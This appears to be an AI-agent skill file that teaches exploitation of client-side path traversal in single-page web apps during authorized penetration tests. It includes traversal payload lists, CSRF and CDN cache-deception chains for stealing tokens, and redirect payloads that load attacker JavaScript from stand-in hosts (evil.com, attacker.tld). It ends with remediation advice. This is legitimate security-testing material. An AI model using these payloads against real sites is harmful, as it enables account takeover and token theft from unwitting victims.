exploiting-client-side-path-traversal
$
npx mdskill add xalgord/xalgorix/exploiting-client-side-path-traversal- During authorized tests of SPAs (React, Next.js, Vue, Angular) that build API paths from route/path params - When a frontend `fetch()`/XHR wrapper prepends `/api/` or `/proxy/` and auto-attaches auth headers/cookies - When stored values (profile slugs, document IDs) are interpolated into background-job, service-worker, or WebSocket URLs - When CMS/feature-flag content generates `<link>`, `<style>`, or `@import` URLs - When you want to escalate a "low-impact" reflected param into CSRF, cache deception, or XSS/SSRF
SKILL.md
.github/skills/exploiting-client-side-path-traversalView on GitHub ↗
---
name: exploiting-client-side-path-traversal
description: Exploiting Client-Side Path Traversal (CSPT, also known as On-Site Request Forgery) where attacker-controlled
input is concatenated into a same-origin URL that the victim's browser fetches with their credentials, enabling CSPT-to-CSRF,
cache deception/poisoning, and open-redirect-to-XSS/SSRF chains. Activates when SPA routers, fetch/XHR wrappers, or
CSS/link generators build request paths from route params, stored values, or UI fragments.
domain: cybersecurity
subdomain: web-application-security
tags:
- penetration-testing
- client-side-path-traversal
- cspt
- osrf
- owasp
- web-security
version: '1.0'
author: xalgorix
license: Apache-2.0
---
# Exploiting Client-Side Path Traversal (CSPT / OSRF)
## When to Use
- During authorized tests of SPAs (React, Next.js, Vue, Angular) that build API paths from route/path params
- When a frontend `fetch()`/XHR wrapper prepends `/api/` or `/proxy/` and auto-attaches auth headers/cookies
- When stored values (profile slugs, document IDs) are interpolated into background-job, service-worker, or WebSocket URLs
- When CMS/feature-flag content generates `<link>`, `<style>`, or `@import` URLs
- When you want to escalate a "low-impact" reflected param into CSRF, cache deception, or XSS/SSRF
## Critical: Variants Most Often Missed
CSPT lands the traversal **on the same origin** in the victim's authenticated browser context — not on the server filesystem. The miss is treating it as "just a redirect." Test the full sink matrix:
```text
# 1. Re-target an authenticated request to a sibling API (router does /${param})
?doc=../../v1/admin/users
?doc=../../v1/admin/users.json # add .json/.css if CDN only caches static-looking assets
# 2. CSPT -> CSRF (verb change / re-enter destructive endpoint)
?action=../../payments/approve/.json&_method=POST
# escape the intended resource path then hit password-reset / approve / revoke endpoints
# 3. CSPT -> extension-based CDN cache deception (exfil authenticated JSON)
?file=../../v1/token.css # CDN caches .css as public → secret stored under public key
# 4. CSPT -> open redirect -> XSS/SSRF
?next=..%2f..%2f..%2flogin/callback/%3FreturnUrl=https://attacker.tld/x
# 5. Dot-segment encodings to defeat naive normalization
../ ..%2f %2e%2e/ %2e%2e%2f %2e./%2e/
..;/ # matrix-param/semicolon variant
../api/%252e%252e/ # DOUBLE url-encoding (frontend decodes before fetch)
```
Real-world gadget (Grafana CVE-2025-4123/6023): `/public/plugins/../../../../..//evil.com/poc/module.js` smuggled `../` into the plugin asset loader, chaining open redirect → remote JS (XSS) and, with the Image Renderer plugin, → SSRF.
### How to CONFIRM a hit (avoid false negatives)
- **Re-targeting**: instrument `fetch`/XHR and confirm the dispatched URL resolves to a DIFFERENT same-origin endpoint than intended, and still carries `credentials: "include"` / auth headers.
- **CSRF**: the destructive endpoint actually executes (state change observed) when the victim loads your URL.
- **Cache deception**: request the variant (`...token.css`) and watch the response flip to `Cache-Control: public/max-age` and `X-Cache: Hit` while still returning JSON; then read it back anonymously and get the secret.
- **Open redirect/XSS**: the SPA navigates to attacker origin / executes attacker JS.
- Watch specifically for `init.credentials === "include"` — that's what makes a same-origin traversal weaponizable. A request without credentials is usually not impactful.
## Workflow
### Step 1: Map Sources → Sinks
```javascript
// Drop in DevTools to surface traversals while you use the UI
(() => {
const o = window.fetch;
window.fetch = async function (input, init) {
if (typeof input === "string" && /\.\.\//.test(input)) {
console.log("[CSPT candidate]", input, init?.method || "GET", init?.credentials);
debugger;
}
return o.apply(this, arguments);
};
})();
```
Wrap `XMLHttpRequest.prototype.open`, `history.pushState`, and framework routers (`next/router`) the same way. Edit IndexedDB/localStorage routing hints with traversal payloads and reload — mutated state often reinjects pre-hydration.
### Step 2: Exploit — chain the traversal
```text
# CSPT -> CSRF: craft a URL that injects traversal into the SPA param so the
# authenticated fetch hits a destructive endpoint
https://app.target/#/docs/../../payments/approve/123
# CSPT -> cache deception (account takeover):
1. Lure victim to https://app.target/#/profile/../../v1/token.css
2. Authenticated fetch hits /v1/token.css, CDN caches JSON under public key
3. Attacker fetches https://app.target/v1/token.css anonymously → reads the token
```
### Step 3: Escalate / Impact
```text
# Open redirect -> XSS via plugin/asset loader (Grafana-style)
https://grafana.example.com/public/plugins/../../../../..//evil.com/poc/module.js
# Same primitive flipped to SSRF if a renderer/image plugin follows the redirect server-side
```
Maintain a scratchpad of working dot-segment variants (`..;/`, `%2e%2e/`, `%2e./%2e/`, double-encoding) and suffix tricks (`.css`, `.json`, `;` matrix params) for fast replay on new sinks.
## Key Concepts
| Concept | Description |
|---------|-------------|
| **CSPT / OSRF** | Manipulating a same-origin URL the victim's browser fetches with their creds |
| **Source** | Route params, stored slugs/IDs, UI fragments concatenated into request paths |
| **Sink** | `fetch`/XHR wrappers, `router.navigate`, `<link>/@import`, service workers |
| **CSPT→CSRF** | Escape the path to re-enter destructive `POST/PUT/DELETE` endpoints |
| **Cache deception** | Static-looking suffix makes CDN cache an authenticated response publicly |
| **Double-decode** | `%252e%252e` decoded by the frontend before the request is dispatched |
## Tools & Systems
| Tool | Purpose |
|------|---------|
| **CSPT Burp Extension (Doyensec)** | Cluster params reflected into other requests' paths; reissue PoCs with canaries |
| **Eval Villain (Firefox)** | Monitor sources/sinks of attacker-controlled data |
| **CSPT Playground (Doyensec)** | Practice traversal→CSRF→XSS chains locally (`docker compose up`) |
| **Browser DevTools** | Wrap fetch/XHR/router to detect dispatched traversals |
| **Burp / ZAP** | Spot `%252e%252e/` double-decode patterns in proxy history |
## Common Scenarios
### Scenario 1: CSPT → Account Takeover via Cache Deception
An SPA builds `/api/${slug}` with auth headers. `slug=../../v1/token.css` makes the CDN cache the token JSON under a public `.css` key; the attacker reads it back unauthenticated and takes over the account.
### Scenario 2: CSPT → CSRF
A download button appends a user fragment to `/api/files/`. Traversing to `../../payments/approve/123` re-targets the authenticated request to a state-changing endpoint, approving a payment as the victim.
### Scenario 3: Plugin Loader → XSS/SSRF (Grafana)
Anonymous dashboards enabled; `/public/plugins/../../../../..//evil.com/poc/module.js` loads attacker JS in the victim's session, and the same traversal redirects the image renderer toward internal hosts (SSRF).
## Output Format
```
## Client-Side Path Traversal (CSPT/OSRF) Finding
**Vulnerability**: Client-Side Path Traversal → CSRF / Cache Deception / XSS
**Severity**: High to Critical (CVSS 7.1–9.3 depending on chain)
**Location**: SPA route param feeding fetch() — e.g. /#/profile/<INPUT>
**OWASP Category**: A01:2021 - Broken Access Control (chained with A03/A10)
### Reproduction Steps
1. Identify fetch building /api/${param} with credentials: "include".
2. Lure victim to /#/profile/../../v1/token.css → authenticated fetch hits cacheable path.
3. CDN stores JSON token under public .css key (X-Cache: Hit, Cache-Control: public).
4. Attacker requests /v1/token.css anonymously → recovers token → account takeover.
### Evidence
| Payload | Dispatched URL | Effect |
|---------|----------------|--------|
| ../../v1/admin/users | /api/v1/admin/users (creds) | Re-target authed request |
| ../../v1/token.css | cached publicly | Secret exfiltration |
| ../../payments/approve/.json | POST executed | CSRF state change |
### Impact
Account takeover, unauthorized state changes (CSRF), exposure of authenticated responses via public cache, and XSS/SSRF when chained with open redirect / asset loaders.
### Recommendation
1. Build request URLs from allow-listed identifiers; reject `../`, `..;/`, and encoded dot-segments after decoding.
2. Resolve/normalize the path client-side and verify it stays within the intended API namespace.
3. Make the CDN vary on auth headers / never cache authenticated JSON; avoid static-looking suffixes on dynamic endpoints.
4. Apply anti-CSRF tokens and SameSite cookies on state-changing endpoints; fix open redirects.
```